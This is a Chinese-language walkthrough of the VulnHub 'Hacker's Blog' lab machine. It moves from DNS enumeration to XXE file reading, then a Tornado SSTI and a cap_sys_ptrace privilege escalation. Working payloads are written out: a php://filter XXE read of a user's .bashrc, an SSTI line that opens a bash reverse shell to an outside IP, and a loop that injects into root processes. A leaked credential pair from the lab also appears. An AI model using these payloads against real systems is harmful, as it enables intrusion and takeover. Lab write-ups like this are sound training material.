Hacker’s Blog:1
原博客地址:https://www.cnblogs.com/upfine/p/17026653.html(靶机有问题)
项目地址:https://download.vulnhub.com/hackersblog/Hackers-Blog.ova
是一个打包好的镜像文件
注意:导入 ovf 时一定要选择我已移动,否则没网

XXE
Create Account
打开 Web 界面,提示信息告诉我们使用 dig(域名查询工具)去继续挖掘

在其源代码信息中看到提示信息 Use a GET parameter page_no to view pages,告诉我们使用 page_no 参数来访问当前页面

使用 page_no(根据参数名猜测参数应该是页数)参数访问当前页面 http://192.168.5.240/?page_no=1,获得返回提示信息
使用 BP 得爆破模块当 page_no=21 时,获得提示信息,告诉我们一个域名 hackers.blackhat.local

结合刚才让我们使用 dig 继续挖掘得信息,这里配合域名 hackers.blackhat.local 进行挖掘
1 | dig hackers.blackhat.local @192.168.5.240 |
发现新的域名 hackerkid.blackhat.local

在 Kali 中配置 /etc/hosts 文件

配置完成后访问 http://hackerkid.blackhat.local/ 出现一个注册界面,但是注册时一直显示邮箱存在问题

用 BP 进行抓包分析,发现数据是以 XML 格式发送得数据,那猜测这里可能存在 XXE 注入
测试 XXE 注入读取下 /etc/passwd 文件,发现账户名 saket

尝试读取下当前用户下得其他文件
1 | php://filter/convert.base64-encode/resource=/home/saket/.bashrc |

成功获取到 .bashc 文件信息,对返回的信息进行解密,获得一组账户和密码信息 admin/Saket!#$%@!!

SSTI
name
使用获得账户名和信息在 http://192.168.5.240:9999/ 进行登录,但是 admin/Saket!#$%@!!登录失败,然后尝试了下 /etc/passwd 文件中发现得 saket 账户进行登录,登录成功

提示信息告诉我们需要告诉他我们得名字,尝试输入参数 ?name=saket,结果返回 hello saket

结合 NMap 扫描出来的信息知道这里是 Tornado 框架,因此猜测这里可能存在 SSTI 注入
测试 192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在 SSTI 注入漏洞

利用 SSTI 注入反弹 Shell
1 | {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}} |

提权
Capabilities 提权
在收集的信息中发现在历史命令中利用 python2.7 执行力一个脚本,然后使用 nc 开启了一个端口监听,注意这里执行的命令,后面是关键

发现 python2.7 具有 cap_sys_ptrace+ep 权限
使用 getcap 查看文件能力。当一个文件被设置了能力,它的行为会受到特殊影响
cap_setuid:允许程序修改自己的UID,即把自己变成 rootcap_net_bind_service:允许程序绑定小于1024的特权端口cap_sys_ptrace:允许程序读写其他进程的内存,可用于注入代码cap_dac_read_search:允许程序绕过文件系统的所有读权限检查,直接读取任何文件
编写脚本对 root 进程批量尝试
1 | for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done |
然后查看下 5600 端口是否开启监听状态,然后在本地使用 nc 进行 5600 端口的连接,成功获得 root 权限
